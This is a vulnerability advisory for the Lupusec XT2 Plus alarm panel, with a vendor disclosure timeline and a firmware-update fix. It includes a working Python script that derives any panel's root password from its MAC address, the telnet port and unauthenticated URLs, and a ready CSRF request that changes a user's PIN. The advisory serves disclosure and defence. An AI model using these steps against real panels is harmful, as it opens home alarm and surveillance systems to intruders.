Lupusec XT2 Plus Main Panel with firmware 0l0.2.19E suffers from shared private keys for SSL certificates, root passwords derived from the MAC address, information disclosure, and cross site request forgery vulnerabilities.
a40592492ffe2815d8e24f02bc4755da=======================================================================
title: Multiple Vulnerabilities
product: Lupusec XT2 Plus Main Panel
version: Firmware 0.0.2.19E
homepage: https://www.lupus-electronics.de/
found: 01/2019
by: D. Fabian
=======================================================================
Vendor description:
-------------------
"The new LUPUSEC-XT2 Plus is an innovative burglar alarm, smart home,
and video surveillance system that is reliable, easy to use, and
extremely versatile. It is the operating system for your building."
Source:
https://www.lupus-electronics.de/shop/en/Alarm-Smarthome/Centrals/LUPUSEC-XT2-Plus-Main-Panel-p.html
Vulnerability description:
-----------------------------------
1) Shared SSL certificate
All devices share the same SSL key. Anyone who is capable of
downloading the firmware off the internet can perform a MITM attack.
2) Root password derived from MAC address
While the root password is unique per device, it is derived from the
MAC address and can be fairly easily calculated off a hard-coded
secret. The panel runs a telnet server on port 55023, where the
calculated root password works. Additionally
https://alarm/action/welcomeGet discloses the MAC address without
authentication over the web interface. In combination, all of this is
sufficient to authenticate as root to any XT2 device exposed directly
on the internet.
The below small Python script returns the root password for the given
MAC address.
import hashlib
import sys
mac = "001122aabbcc" # MAC address without colons in all lowercase
x = "7jBhPZVbCJMrS9qg6KtxzHR5T2dk3NmvQ4WDywFsYpXnc8Gf"
y = "5156" + mac + "2759"
digest = hashlib.sha256()
digest.update(y)
z = digest.digest()
sys.stdout.write(x[ord(z[5]) % len(x)])
sys.stdout.write(x[ord(z[7]) % len(x)])
sys.stdout.write(x[ord(z[28]) % len(x)])
sys.stdout.write(x[ord(z[6]) % len(x)])
sys.stdout.write(x[ord(z[24]) % len(x)])
sys.stdout.write(x[ord(z[15]) % len(x)])
sys.stdout.write(x[ord(z[13]) % len(x)])
sys.stdout.write(x[ord(z[16]) % len(x)])
sys.stdout.flush()
3) Configuration including passwords downloadable without authentication
If the configuration of the device has been exported since the
previous reboot, it can be downloaded without authentication via
https://alarm/temp/config.tar.gz. The configuration contains PINs,
user passwords, and all other configuration settings. Passwords and
PINs are "encrypted" using a simple substitution cipher.
4) XML API vulnerable to CSRF
The XML API accepts requests via both GET and POST, and does not
require CSRF tokens. E.g. the following request sets the PIN of user 5
to 4444. The MAC address is publicly disclosed via the web interface
per issue #2.
https://alarm/action/xmlCmd?strXML=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0A%3Cp%3E%0A++%3Cmac+v%3D%2200%3A11%3A22%3A33%3A44%3A44%22%2F%3E%0A++%3Ccmds%3E%0A%3Ccmd+a%3D%22setUser%22%3E%0A%3Carea+v%3D%221%22%2F%3E%0A%3Cno+v%3D%225%22%2F%3E%0A%3Ccode+v%3D%224444%22%2F%3E%0A%3Cname+v%3D%22test%22%2F%3E%0A%3Clatch+v%3D%220%22%2F%3E%0A%3C%2Fcmd%3E%0A++%3C%2Fcmds%3E%0A%3C%2Fp%3E
Vendor contact timeline:
------------------------
2019-01-09: Contacted the vendor
2019-01-09: Vendor reply saying that the issues are known and should be fixed
in the new firmware release.
2019-03-26: Vendor reply saying the new firmware was released
Solution:
---------
Per the vendor’s recommendation, update the firmware to version v0.0.3.0.
Note that I didn’t verify whether the issues are indeed resolved in
the new version. Either way it’s probably a good idea to only expose
the device through a VPN.